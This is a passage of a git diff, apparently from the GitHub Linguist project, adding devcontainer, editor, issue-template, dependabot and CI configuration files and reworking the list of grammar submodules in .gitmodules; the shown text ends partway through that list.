diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile
new file mode 100644
index 0000000000..19af29a28f
--- /dev/null
+++ b/.devcontainer/Dockerfile
@@ -0,0 +1,3 @@
+# Available versions: https://github.com/devcontainers/images/tree/main/src/ruby
+FROM mcr.microsoft.com/devcontainers/ruby
+RUN apt update && apt install -y cmake
diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
new file mode 100644
index 0000000000..b0f28bfff1
--- /dev/null
+++ b/.devcontainer/devcontainer.json
@@ -0,0 +1,27 @@
+{
+  "name": "Ruby",
+  "build": {
+    "dockerfile": "Dockerfile"
+  },
+  "features": {
+    "ghcr.io/devcontainers/features/docker-in-docker:2": {},
+    "ghcr.io/devcontainers/features/go:1": {}
+  },
+  "customizations": {
+    "codespaces": {
+      "openFiles": [
+        "CONTRIBUTING.md",
+        "lib/linguist/languages.yml"
+      ]
+    },
+    "vscode": {
+      "extensions": [
+        "EditorConfig.EditorConfig",
+        "redhat.vscode-yaml",
+        "Shopify.ruby-lsp"
+      ]
+    }
+  },
+  "onCreateCommand": ".devcontainer/onCreateCommand.sh",
+  "remoteUser": "vscode"
+}
diff --git a/.devcontainer/onCreateCommand.sh b/.devcontainer/onCreateCommand.sh
new file mode 100755
index 0000000000..d74f01bd0e
--- /dev/null
+++ b/.devcontainer/onCreateCommand.sh
@@ -0,0 +1,4 @@
+#!/bin/sh
+./script/bootstrap
+git remote add linguist https://github.com/github-linguist/linguist
+git fetch linguist v2.0.0:v2.0.0 test/attributes:test/attributes test/master:test/master
diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 0000000000..351a306b79
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,2 @@
+.git/
+test/
diff --git a/.editorconfig b/.editorconfig
new file mode 100644
index 0000000000..a72f253b28
--- /dev/null
+++ b/.editorconfig
@@ -0,0 +1,29 @@
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+indent_size = 2
+indent_style = space
+insert_final_newline = true
+trim_trailing_whitespace = true
+
+[*.md]
+trim_trailing_whitespace = false
+
+[*.{h,c}]
+indent_style = tab
+indent_size = 8
+
+[{Dockerfile,Makefile,*.go,script/add-grammar}]
+indent_style = tab
+indent_size = 4
+
+# Ignore fixtures and vendored files
+[{grammars,test/fixtures,samples,vendor}/**]
+charset = unset
+end_of_line = unset
+indent_size = unset
+indent_style = unset
+insert_final_newline = unset
+trim_trailing_whitespace = unset
diff --git a/.gitattributes b/.gitattributes
index e69de29bb2..cdeb6ce04c 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -0,0 +1,2 @@
+# Fix syntax highlighting for devcontainer files
+.devcontainer/*.json linguist-language=JSON-with-Comments
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
new file mode 100644
index 0000000000..1a39e24ec4
--- /dev/null
+++ b/.github/CODEOWNERS
@@ -0,0 +1,3 @@
+# All pull requests need to be reviewed by someone from GitHub.
+#
+*     @github-linguist/github
diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 0000000000..d8083753c7
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,32 @@
+---
+name: Bug report
+about: Found a bug? Let us know. Please start with **Discussions** if your issue is regarding unexpected language analysis or statistics.
+title: ''
+labels: Bug
+assignees: ''
+---
+<!--
+NOTE: Please use Discussions for all incorrect or unexpected language analysis or
+      statistics behaviour BEFORE opening a bug.
+
+      If you know how to fix this bug, please feel free to submit a Pull Request
+      with your fix; we don't need an issue first.
+-->
+
+## Describe the bug
+<!--
+Please provide a clear and detailed explanation of the bug you've found, and why
+you consider it to be a bug.
+
+Ideally, please provide steps to reproduce the bug and include the output from
+using `github-linguist` on the command line.
+-->
+
+### Expected behaviour
+<!-- What was it you expected to see? Be detailed and specific. -->
+
+### Related discussion
+<!-- Include links to related discussion threads, if any. -->
+
+### Additional notes
+<!-- Add any remaining details here; e.g., context, @‌mentions, external links, etc -->
diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml
new file mode 100644
index 0000000000..69f7ead204
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/config.yml
@@ -0,0 +1,5 @@
+blank_issues_enabled: false
+contact_links:
+  - name: Get help in GitHub Discussions
+    url: https://github.com/github/linguist/discussions
+    about: Have a question? Surprised by your repository language analysis? The quickest way to get help is on Linguist's GitHub Discussions!
diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md
new file mode 100644
index 0000000000..328ec9d7fe
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/feature_request.md
@@ -0,0 +1,16 @@
+---
+name: Feature request
+about: Suggest an enhancement
+title: ''
+labels: Improvement
+assignees: ''
+---
+
+## Describe the enhancement
+
+<!--
+
+Please let us know what enhancement you'd like to see made to Linguist. The more
+detail you provide, the better.
+
+-->
diff --git a/.github/ISSUE_TEMPLATE/new_language.md b/.github/ISSUE_TEMPLATE/new_language.md
new file mode 100644
index 0000000000..bee9d0c029
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/new_language.md
@@ -0,0 +1,38 @@
+---
+name: New language
+about: Request support for a new language
+title: ''
+labels: Add Language, Good First Issue
+assignees: ''
+---
+
+<!--
+
+👋 If you have the time and know-how, send us a pull-request: everybody is welcome to contribute!
+Otherwise, fill out the following fields as best you can.
+
+-->
+## Language name
+
+
+## URL of example repository
+
+
+## URL of syntax highlighting grammar
+
+
+## Most popular extensions
+
+<!--
+
+List the extensions commonly used by this language.
+
+-->
+
+## Detected language
+
+<!--
+
+What language are files for this language being identified as, if any?
+
+-->
diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
new file mode 100644
index 0000000000..351cfad909
--- /dev/null
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -0,0 +1,59 @@
+<!--- Briefly describe your changes in the field above. -->
+
+## Description
+<!--- If necessary, go into depth of what this pull request is doing. -->
+
+## Checklist:
+<!--- Go over all the following points, and put an `x` in all the boxes that apply. -->
+<!--- Please remove whole sections, not points within the sections, that do not apply -->
+<!--- If you're unsure about any of these, don't hesitate to ask. We're here to help! -->
+- [ ] **I am adding a new extension to a language.**
+  - [ ] The new extension is used in hundreds of repositories on GitHub.com
+    - Search results for each extension:
+      <!-- Replace FOOBAR with the new extension, and KEYWORDS with keywords unique to the language. Repeat for each extension added. -->
+      - https://github.com/search?type=code&q=NOT+is%3Afork+path%3A*.FOOBAR+KEYWORDS
+  - [ ] I have included a real-world usage sample for all extensions added in this PR:
+    - Sample source(s):
+      - [URL to each sample source, if applicable]
+    - Sample license(s):
+  - [ ] I have included a change to the heuristics to distinguish my language from others using the same extension.
+
+- [ ] **I am adding a new language.**
+  - [ ] The extension of the new language is used in hundreds of repositories on GitHub.com.
+    - Search results for each extension:
+      <!-- Replace FOOBAR with the new extension, and KEYWORDS with keywords unique to the language. Repeat for each extension added. -->
+      -  https://github.com/search?type=code&q=NOT+is%3Afork+path%3A*.FOOBAR+KEYWORDS
+  - [ ] I have included a real-world usage sample for all extensions added in this PR:
+    - Sample source(s):
+      - [URL to each sample source, if applicable]
+    - Sample license(s):
+  - [ ] I have included a syntax highlighting grammar: [URL to grammar repo]
+      <!-- Setting a color is strongly recommended, but optional: `#cccccc` is used by default -->
+  - [ ] I have added a color
+    - Hex value: `#RRGGBB`
+    - Rationale: <!-- Please specify why you chose this color (if it was randomly selected, please say so); it helps arbitrate future requests to change a language's color -->
+  - [ ] I have updated the heuristics to distinguish my language from others using the same extension.
+
+- [ ] **I am fixing a misclassified language**
+  - [ ] I have included a new sample for the misclassified language:
+    - Sample source(s):
+      - [URL to each sample source, if applicable]
+    - Sample license(s):
+  - [ ] I have included a change to the heuristics to distinguish my language from others using the same extension.
+
+- [ ] **I am changing the source of a syntax highlighting grammar**
+  - Old: [URL to grammar repo]
+  - New: [URL to grammar repo]
+
+- [ ] **I am updating a grammar submodule**
+  <!-- That's not necessary, grammar submodules are updated automatically with each new release. -->
+
+- [ ] **I am adding new or changing current functionality**
+  <!-- This includes modifying the vendor, documentation, and generated lists. -->
+  - [ ] I have added or updated the tests for the new or changed functionality.
+
+- [ ] **I am changing the color associated with a language**
+  <!-- Please ensure you have gathered agreement from the wider language community _before_ opening this PR -->
+  - [ ] I have obtained agreement from the wider language community on this color change.
+    - [URL to public discussion]
+    - [Optional: URL to official branding guidelines for the language]
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
new file mode 100644
index 0000000000..98f4a42d68
--- /dev/null
+++ b/.github/dependabot.yml
@@ -0,0 +1,7 @@
+version: 2
+updates:
+  # Only check for Ruby gem updates
+  - package-ecosystem: "bundler"
+    directory: "/"
+    schedule:
+      interval: "daily"
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
new file mode 100644
index 0000000000..59b2233cf4
--- /dev/null
+++ b/.github/workflows/ci.yml
@@ -0,0 +1,65 @@
+name: Run Tests
+
+on:
+  # Trigger the workflow on push or pull request, but only for the master branch
+  push:
+    branches:
+      - master
+  pull_request:
+    branches:
+      - master
+  merge_group:
+
+permissions:
+  contents: read
+
+jobs:
+  run:
+    name: Ruby ${{ matrix.ruby }}
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        ruby: [ '3.2', '3.1', '3.0' ]
+    steps:
+    - uses: actions/checkout@v1
+    - name: Set up Ruby
+      uses: ruby/setup-ruby@v1
+      with:
+        ruby-version: ${{ matrix.ruby }}
+        bundler-cache: true
+    - name: Fetch grammar submodules
+      run: |
+        git fetch origin master:master v2.0.0:v2.0.0 test/attributes:test/attributes test/master:test/master
+        sed -i 's|git@github.com:|https://github.com/|' .gitmodules
+        git submodule init
+        git submodule sync --quiet
+        script/fast-submodule-update
+    - name: Run tests
+      run: bundle exec rake
+    - name: Check Licenses
+      run: bundle exec licensed status -c vendor/licenses/config.yml
+  dockerfile:
+    name: Test Dockerfile
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v1
+    - name: Build container
+      run: docker build -t linguist .
+    - name: Analyse current directory
+      run: docker run --rm -v $(pwd):$(pwd) -w $(pwd) --user $(id -u) -t linguist | tee output
+    - name: Confirm analysis
+      run: grep Ruby output
+  classifier:
+    name: Classifier cross-validation
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v2
+    - name: Set up Ruby
+      uses: ruby/setup-ruby@v1
+      with:
+        ruby-version: '3.2'
+        bundler-cache: true
+    - name: Build
+      run: bundle exec rake samples
+    - name: Run cross-validation
+      run: bundle exec script/cross-validation --test 2>&1
diff --git a/.gitignore b/.gitignore
index c0ab5df0c5..2ff2113c33 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,8 +1,16 @@
+*.gem
 /Gemfile.lock
 .bundle/
+.idea
 benchmark/
 lib/linguist/samples.json
 /grammars
 /node_modules
 test/fixtures/ace_modes.json
 /vendor/gems/
+/tmp
+*.bundle
+*.so
+linguist-grammars*
+.venv
+Brewfile.lock.json
diff --git a/.gitmodules b/.gitmodules
index b5de73ab20..7e22d7ba2e 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,229 +1,260 @@
-[submodule "vendor/grammars/go-tmbundle"]
-	path = vendor/grammars/go-tmbundle
-	url = https://github.com/AlanQuatermain/go-tmbundle
-[submodule "vendor/grammars/PHP-Twig.tmbundle"]
-	path = vendor/grammars/PHP-Twig.tmbundle
-	url = https://github.com/Anomareh/PHP-Twig.tmbundle
-[submodule "vendor/grammars/sublime-cirru"]
-	path = vendor/grammars/sublime-cirru
-	url = https://github.com/Cirru/sublime-cirru
-[submodule "vendor/grammars/SublimeBrainfuck"]
-	path = vendor/grammars/SublimeBrainfuck
-	url = https://github.com/Drako/SublimeBrainfuck
-[submodule "vendor/grammars/awk-sublime"]
-	path = vendor/grammars/awk-sublime
-	url = https://github.com/JohnNilsson/awk-sublime
-[submodule "vendor/grammars/Sublime-SQF-Language"]
-	path = vendor/grammars/Sublime-SQF-Language
-	url = https://github.com/JonBons/Sublime-SQF-Language
-[submodule "vendor/grammars/SCSS.tmbundle"]
-	path = vendor/grammars/SCSS.tmbundle
-	url = https://github.com/MarioRicalde/SCSS.tmbundle
-[submodule "vendor/grammars/Sublime-REBOL"]
-	path = vendor/grammars/Sublime-REBOL
-	url = https://github.com/Oldes/Sublime-REBOL
-[submodule "vendor/grammars/Sublime-VimL"]
-	path = vendor/grammars/Sublime-VimL
-	url = https://github.com/SalGnt/Sublime-VimL
+[submodule "vendor/CodeMirror"]
+	path = vendor/CodeMirror
+	url = https://github.com/codemirror/CodeMirror
+[submodule "vendor/grammars/AL"]
+	path = vendor/grammars/AL
+	url = https://github.com/microsoft/AL
+[submodule "vendor/grammars/Alloy.tmbundle"]
+	path = vendor/grammars/Alloy.tmbundle
+	url = https://github.com/macekond/Alloy.tmbundle
+[submodule "vendor/grammars/Assembly-Syntax-Definition"]
+	path = vendor/grammars/Assembly-Syntax-Definition
+	url = https://github.com/calculuswhiz/Assembly-Syntax-Definition
+[submodule "vendor/grammars/Atom-PostScript"]
+	path = vendor/grammars/Atom-PostScript
+	url = https://github.com/Alhadis/Atom-PostScript
+[submodule "vendor/grammars/AtomLanguageVelocity"]
+	path = vendor/grammars/AtomLanguageVelocity
+	url = https://github.com/animecyc/AtomLanguageVelocity
+[submodule "vendor/grammars/AutoHotkey"]
+	path = vendor/grammars/AutoHotkey
+	url = https://github.com/ahkscript/SublimeAutoHotkey
+[submodule "vendor/grammars/CUE-Sheet_sublime"]
+	path = vendor/grammars/CUE-Sheet_sublime
+	url = https://github.com/relikd/CUE-Sheet_sublime
+[submodule "vendor/grammars/CoDT7-Sublime"]
+	path = vendor/grammars/CoDT7-Sublime
+	url = https://github.com/Jake-NotTheMuss/CoDT7-Sublime.git
 [submodule "vendor/grammars/ColdFusion"]
 	path = vendor/grammars/ColdFusion
 	url = https://github.com/SublimeText/ColdFusion
+[submodule "vendor/grammars/Cylc.tmbundle"]
+	path = vendor/grammars/Cylc.tmbundle
+	url = https://github.com/cylc/Cylc.tmbundle.git
+[submodule "vendor/grammars/Dafny-VSCode"]
+	path = vendor/grammars/Dafny-VSCode
+	url = https://github.com/DafnyVSCode/Dafny-VSCode
+[submodule "vendor/grammars/Docker.tmbundle"]
+	path = vendor/grammars/Docker.tmbundle
+	url = https://github.com/asbjornenge/Docker.tmbundle
+[submodule "vendor/grammars/Elm"]
+	path = vendor/grammars/Elm
+	url = https://github.com/elm-community/Elm.tmLanguage
+[submodule "vendor/grammars/FreeMarker.tmbundle"]
+	path = vendor/grammars/FreeMarker.tmbundle
+	url = https://github.com/freemarker/FreeMarker.tmbundle
+[submodule "vendor/grammars/GeneroFgl.tmbundle"]
+	path = vendor/grammars/GeneroFgl.tmbundle
+	url = https://github.com/FourjsGenero/GeneroFgl.tmbundle.git
+[submodule "vendor/grammars/Handlebars"]
+	path = vendor/grammars/Handlebars
+	url = https://github.com/daaain/Handlebars
+[submodule "vendor/grammars/IDL-Syntax"]
+	path = vendor/grammars/IDL-Syntax
+	url = https://github.com/andik/IDL-Syntax
+[submodule "vendor/grammars/Isabelle.tmbundle"]
+	path = vendor/grammars/Isabelle.tmbundle
+	url = https://github.com/lsf37/Isabelle.tmbundle
+[submodule "vendor/grammars/JSyntax"]
+	path = vendor/grammars/JSyntax
+	url = https://github.com/tikkanz/JSyntax
+[submodule "vendor/grammars/LOLCODE-grammar-vscode"]
+	path = vendor/grammars/LOLCODE-grammar-vscode
+	url = https://github.com/KrazIvan/LOLCODE-grammar-vscode.git
+[submodule "vendor/grammars/Ligo-grammar"]
+	path = vendor/grammars/Ligo-grammar
+	url = https://github.com/pewulfman/Ligo-grammar.git
+[submodule "vendor/grammars/LiveScript.tmbundle"]
+	path = vendor/grammars/LiveScript.tmbundle
+	url = https://github.com/paulmillr/LiveScript.tmbundle
+[submodule "vendor/grammars/Luau.tmLanguage"]
+	path = vendor/grammars/Luau.tmLanguage
+	url = https://github.com/JohnnyMorganz/Luau.tmLanguage.git
+[submodule "vendor/grammars/MATLAB-Language-grammar"]
+	path = vendor/grammars/MATLAB-Language-grammar
+	url = https://github.com/mathworks/MATLAB-Language-grammar
+[submodule "vendor/grammars/MQL5-sublime"]
+	path = vendor/grammars/MQL5-sublime
+	url = https://github.com/mqsoft/MQL5-sublime
+[submodule "vendor/grammars/MagicPython"]
+	path = vendor/grammars/MagicPython
+	url = https://github.com/MagicStack/MagicPython
+[submodule "vendor/grammars/Modelica"]
+	path = vendor/grammars/Modelica
+	url = https://github.com/BorisChumichev/modelicaSublimeTextPackage
 [submodule "vendor/grammars/NSIS"]
 	path = vendor/grammars/NSIS
-	url = https://github.com/SublimeText/NSIS
+	url = https://github.com/github-linguist/NSIS
+[submodule "vendor/grammars/Nasal.tmbundle"]
+	path = vendor/grammars/Nasal.tmbundle
+	url = https://github.com/BobDotCom/Nasal.tmbundle.git
 [submodule "vendor/grammars/NimLime"]
 	path = vendor/grammars/NimLime
-	url = https://github.com/Varriount/NimLime
-[submodule "vendor/grammars/gradle.tmbundle"]
-	path = vendor/grammars/gradle.tmbundle
-	url = https://github.com/alkemist/gradle.tmbundle
-[submodule "vendor/grammars/Sublime-Loom"]
-	path = vendor/grammars/Sublime-Loom
-	url = https://github.com/ambethia/Sublime-Loom
-[submodule "vendor/grammars/VBDotNetSyntax"]
-	path = vendor/grammars/VBDotNetSyntax
-	url = https://github.com/angryant0007/VBDotNetSyntax
-[submodule "vendor/grammars/cool-tmbundle"]
-	path = vendor/grammars/cool-tmbundle
-	url = https://github.com/anunayk/cool-tmbundle
-[submodule "vendor/grammars/Docker.tmbundle"]
-	path = vendor/grammars/Docker.tmbundle
-	url = https://github.com/asbjornenge/Docker.tmbundle
-[submodule "vendor/grammars/jasmin-sublime"]
-	path = vendor/grammars/jasmin-sublime
-	url = https://github.com/atmarksharp/jasmin-sublime
-[submodule "vendor/grammars/language-clojure"]
-	path = vendor/grammars/language-clojure
-	url = https://github.com/atom/language-clojure
-[submodule "vendor/grammars/language-coffee-script"]
-	path = vendor/grammars/language-coffee-script
-	url = https://github.com/atom/language-coffee-script
-[submodule "vendor/grammars/language-csharp"]
-	path = vendor/grammars/language-csharp
-	url = https://github.com/atom/language-csharp
-[submodule "vendor/grammars/language-gfm"]
-	path = vendor/grammars/language-gfm
-	url = https://github.com/atom/language-gfm
-[submodule "vendor/grammars/language-javascript"]
-	path = vendor/grammars/language-javascript
-	url = https://github.com/atom/language-javascript
-[submodule "vendor/grammars/language-python"]
-	path = vendor/grammars/language-python
-	url = https://github.com/atom/language-python
-[submodule "vendor/grammars/language-shellscript"]
-	path = vendor/grammars/language-shellscript
-	url = https://github.com/atom/language-shellscript
-[submodule "vendor/grammars/language-supercollider"]
-	path = vendor/grammars/language-supercollider
-	url = https://github.com/supercollider/language-supercollider
-[submodule "vendor/grammars/language-yaml"]
-	path = vendor/grammars/language-yaml
-	url = https://github.com/atom/language-yaml
-[submodule "vendor/grammars/Sublime-Lasso"]
-	path = vendor/grammars/Sublime-Lasso
-	url = https://github.com/bfad/Sublime-Lasso
-[submodule "vendor/grammars/chapel-tmbundle"]
-	path = vendor/grammars/chapel-tmbundle
-	url = https://github.com/chapel-lang/chapel-tmbundle
-[submodule "vendor/grammars/sublime-nginx"]
-	path = vendor/grammars/sublime-nginx
-	url = https://github.com/brandonwamboldt/sublime-nginx
-[submodule "vendor/grammars/bro-sublime"]
-	path = vendor/grammars/bro-sublime
-	url = https://github.com/bro/bro-sublime
-[submodule "vendor/grammars/sublime-MuPAD"]
-	path = vendor/grammars/sublime-MuPAD
-	url = https://github.com/ccreutzig/sublime-MuPAD
-[submodule "vendor/grammars/haxe-sublime-bundle"]
-	path = vendor/grammars/haxe-sublime-bundle
-	url = https://github.com/clemos/haxe-sublime-bundle
-[submodule "vendor/grammars/cucumber-tmbundle"]
-	path = vendor/grammars/cucumber-tmbundle
-	url = https://github.com/cucumber/cucumber-tmbundle
-[submodule "vendor/grammars/powershell"]
-	path = vendor/grammars/powershell
-	url = https://github.com/SublimeText/PowerShell
-[submodule "vendor/grammars/jade-tmbundle"]
-	path = vendor/grammars/jade-tmbundle
-	url = https://github.com/davidrios/jade-tmbundle
-[submodule "vendor/grammars/elixir-tmbundle"]
-	path = vendor/grammars/elixir-tmbundle
-	url = https://github.com/elixir-lang/elixir-tmbundle
-[submodule "vendor/grammars/sublime-glsl"]
-	path = vendor/grammars/sublime-glsl
-	url = https://github.com/euler0/sublime-glsl
-[submodule "vendor/grammars/fancy-tmbundle"]
-	path = vendor/grammars/fancy-tmbundle
-	url = https://github.com/fancy-lang/fancy-tmbundle
-[submodule "vendor/grammars/dart-sublime-bundle"]
-	path = vendor/grammars/dart-sublime-bundle
-	url = https://github.com/guillermooo/dart-sublime-bundle
-[submodule "vendor/grammars/sublimetext-cuda-cpp"]
-	path = vendor/grammars/sublimetext-cuda-cpp
-	url = https://github.com/harrism/sublimetext-cuda-cpp
-[submodule "vendor/grammars/pike-textmate"]
-	path = vendor/grammars/pike-textmate
-	url = https://github.com/hww3/pike-textmate
-[submodule "vendor/grammars/ceylon-sublimetext"]
-	path = vendor/grammars/ceylon-sublimetext
-	url = https://github.com/jeancharles-roger/ceylon-sublimetext
-[submodule "vendor/grammars/Sublime-Text-2-OpenEdge-ABL"]
-	path = vendor/grammars/Sublime-Text-2-OpenEdge-ABL
-	url = https://github.com/jfairbank/Sublime-Text-2-OpenEdge-ABL
-[submodule "vendor/grammars/sublime-rust"]
-	path = vendor/grammars/sublime-rust
-	url = https://github.com/jhasse/sublime-rust
-[submodule "vendor/grammars/sublime-befunge"]
-	path = vendor/grammars/sublime-befunge
-	url = https://github.com/johanasplund/sublime-befunge
+	url = https://github.com/nim-lang/NimLime
+[submodule "vendor/grammars/NovaGrammars"]
+	path = vendor/grammars/NovaGrammars
+	url = https://github.com/Nixinova/NovaGrammars
+[submodule "vendor/grammars/ObjectScript.tmBundle"]
+	path = vendor/grammars/ObjectScript.tmBundle
+	url = https://github.com/intersystems-community/ObjectScript.tmBundle
+[submodule "vendor/grammars/PHP-Twig.tmbundle"]
+	path = vendor/grammars/PHP-Twig.tmbundle
+	url = https://github.com/Anomareh/PHP-Twig.tmbundle
+[submodule "vendor/grammars/PogoScript.tmbundle"]
+	path = vendor/grammars/PogoScript.tmbundle
+	url = https://github.com/featurist/PogoScript.tmbundle
+[submodule "vendor/grammars/PowerBuilder.tmbundle"]
+	path = vendor/grammars/PowerBuilder.tmbundle
+	url = https://github.com/micha4w/PowerBuilder.tmbundle.git
 [submodule "vendor/grammars/RDoc.tmbundle"]
 	path = vendor/grammars/RDoc.tmbundle
 	url = https://github.com/joshaven/RDoc.tmbundle
-[submodule "vendor/grammars/Textmate-Gosu-Bundle"]
-	path = vendor/grammars/Textmate-Gosu-Bundle
-	url = https://github.com/jpcamara/Textmate-Gosu-Bundle
-[submodule "vendor/grammars/fish-tmbundle"]
-	path = vendor/grammars/fish-tmbundle
-	url = https://github.com/l15n/fish-tmbundle
-[submodule "vendor/grammars/moonscript-tmbundle"]
-	path = vendor/grammars/moonscript-tmbundle
-	url = https://github.com/leafo/moonscript-tmbundle
-[submodule "vendor/grammars/Isabelle.tmbundle"]
-	path = vendor/grammars/Isabelle.tmbundle
-	url = https://github.com/lsf37/Isabelle.tmbundle
-[submodule "vendor/grammars/Alloy.tmbundle"]
-	path = vendor/grammars/Alloy.tmbundle
-	url = https://github.com/macekond/Alloy.tmbundle
-[submodule "vendor/grammars/opa.tmbundle"]
-	path = vendor/grammars/opa.tmbundle
-	url = https://github.com/mads379/opa.tmbundle
-[submodule "vendor/grammars/scala.tmbundle"]
-	path = vendor/grammars/scala.tmbundle
-	url = https://github.com/mads379/scala.tmbundle
-[submodule "vendor/grammars/mako-tmbundle"]
-	path = vendor/grammars/mako-tmbundle
-	url = https://github.com/marconi/mako-tmbundle
-[submodule "vendor/grammars/gnuplot-tmbundle"]
-	path = vendor/grammars/gnuplot-tmbundle
-	url = https://github.com/mattfoster/gnuplot-tmbundle
-[submodule "vendor/grammars/idl.tmbundle"]
-	path = vendor/grammars/idl.tmbundle
-	url = https://github.com/mgalloy/idl.tmbundle
-[submodule "vendor/grammars/protobuf-tmbundle"]
-	path = vendor/grammars/protobuf-tmbundle
-	url = https://github.com/michaeledgar/protobuf-tmbundle
+[submodule "vendor/grammars/Racket"]
+	path = vendor/grammars/Racket
+	url = https://github.com/soegaard/racket-highlight-for-github
+[submodule "vendor/grammars/SMT.tmbundle"]
+	path = vendor/grammars/SMT.tmbundle
+	url = https://github.com/SRI-CSL/SMT.tmbundle.git
+[submodule "vendor/grammars/Scalate.tmbundle"]
+	path = vendor/grammars/Scalate.tmbundle
+	url = https://github.com/scalate/Scalate.tmbundle
+[submodule "vendor/grammars/Scenic-tmLanguage"]
+	path = vendor/grammars/Scenic-tmLanguage
+	url = https://github.com/UCSCFormalMethods/Scenic-tmLanguage.git
+[submodule "vendor/grammars/Slash.tmbundle"]
+	path = vendor/grammars/Slash.tmbundle
+	url = https://github.com/slash-lang/Slash.tmbundle
+[submodule "vendor/grammars/Stata.tmbundle"]
+	path = vendor/grammars/Stata.tmbundle
+	url = https://github.com/pschumm/Stata.tmbundle
+[submodule "vendor/grammars/Stylus"]
+	path = vendor/grammars/Stylus
+	url = https://github.com/billymoon/Stylus
 [submodule "vendor/grammars/Sublime-Coq"]
 	path = vendor/grammars/Sublime-Coq
 	url = https://github.com/mkolosick/Sublime-Coq
-[submodule "vendor/grammars/Agda.tmbundle"]
-	path = vendor/grammars/Agda.tmbundle
-	url = https://github.com/mokus0/Agda.tmbundle
-[submodule "vendor/grammars/Julia.tmbundle"]
-	path = vendor/grammars/Julia.tmbundle
-	url = https://github.com/nanoant/Julia.tmbundle
-[submodule "vendor/grammars/ooc.tmbundle"]
-	path = vendor/grammars/ooc.tmbundle
-	url = https://github.com/nilium/ooc.tmbundle
-[submodule "vendor/grammars/LiveScript.tmbundle"]
-	path = vendor/grammars/LiveScript.tmbundle
-	url = https://github.com/paulmillr/LiveScript.tmbundle
-[submodule "vendor/grammars/sublime-tea"]
-	path = vendor/grammars/sublime-tea
-	url = https://github.com/pferruggiaro/sublime-tea
-[submodule "vendor/grammars/abap.tmbundle"]
-	path = vendor/grammars/abap.tmbundle
-	url = https://github.com/pvl/abap.tmbundle
-[submodule "vendor/grammars/mercury-tmlanguage"]
-	path = vendor/grammars/mercury-tmlanguage
-	url = https://github.com/sebgod/mercury-tmlanguage
-[submodule "vendor/grammars/mathematica-tmbundle"]
-	path = vendor/grammars/mathematica-tmbundle
-	url = https://github.com/shadanan/mathematica-tmbundle
-[submodule "vendor/grammars/sublime-robot-plugin"]
-	path = vendor/grammars/sublime-robot-plugin
-	url = https://github.com/shellderp/sublime-robot-plugin
-[submodule "vendor/grammars/actionscript3-tmbundle"]
-	path = vendor/grammars/actionscript3-tmbundle
-	url = https://github.com/honzabrecka/actionscript3-tmbundle
+[submodule "vendor/grammars/Sublime-HTTP"]
+	path = vendor/grammars/Sublime-HTTP
+	url = https://github.com/samsalisbury/Sublime-HTTP
+[submodule "vendor/grammars/Sublime-Lasso"]
+	path = vendor/grammars/Sublime-Lasso
+	url = https://github.com/bfad/Sublime-Lasso
+[submodule "vendor/grammars/Sublime-Loom"]
+	path = vendor/grammars/Sublime-Loom
+	url = https://github.com/ambethia/Sublime-Loom
+[submodule "vendor/grammars/Sublime-Modula-2"]
+	path = vendor/grammars/Sublime-Modula-2
+	url = https://github.com/harogaston/Sublime-Modula-2
+[submodule "vendor/grammars/Sublime-Nit"]
+	path = vendor/grammars/Sublime-Nit
+	url = https://github.com/R4PaSs/Sublime-Nit
+[submodule "vendor/grammars/Sublime-Pep8"]
+	path = vendor/grammars/Sublime-Pep8
+	url = https://github.com/R4PaSs/Sublime-Pep8
 [submodule "vendor/grammars/Sublime-QML"]
 	path = vendor/grammars/Sublime-QML
 	url = https://github.com/skozlovf/Sublime-QML
-[submodule "vendor/grammars/Slash.tmbundle"]
-	path = vendor/grammars/Slash.tmbundle
-	url = https://github.com/slash-lang/Slash.tmbundle
-[submodule "vendor/grammars/factor"]
-	path = vendor/grammars/factor
-	url = https://github.com/slavapestov/factor
-[submodule "vendor/grammars/ruby-slim.tmbundle"]
-	path = vendor/grammars/ruby-slim.tmbundle
-	url = https://github.com/slim-template/ruby-slim.tmbundle
+[submodule "vendor/grammars/Sublime-REBOL"]
+	path = vendor/grammars/Sublime-REBOL
+	url = https://github.com/Oldes/Sublime-REBOL
+[submodule "vendor/grammars/Sublime-Red"]
+	path = vendor/grammars/Sublime-Red
+	url = https://github.com/Oldes/Sublime-Red
+[submodule "vendor/grammars/Sublime-SQF-Language"]
+	path = vendor/grammars/Sublime-SQF-Language
+	url = https://github.com/JonBons/Sublime-SQF-Language
+[submodule "vendor/grammars/SublimeBrainfuck"]
+	path = vendor/grammars/SublimeBrainfuck
+	url = https://github.com/Drako/SublimeBrainfuck
+[submodule "vendor/grammars/SublimeClarion"]
+	path = vendor/grammars/SublimeClarion
+	url = https://github.com/fushnisoft/SublimeClarion
+[submodule "vendor/grammars/SublimeEthereum"]
+	path = vendor/grammars/SublimeEthereum
+	url = https://github.com/davidhq/SublimeEthereum.git
+	branch = linguist
+[submodule "vendor/grammars/SublimeGDB"]
+	path = vendor/grammars/SublimeGDB
+	url = https://github.com/quarnster/SublimeGDB
+[submodule "vendor/grammars/SublimePapyrus"]
+	path = vendor/grammars/SublimePapyrus
+	url = https://github.com/Kapiainen/SublimePapyrus
+[submodule "vendor/grammars/SublimePuppet"]
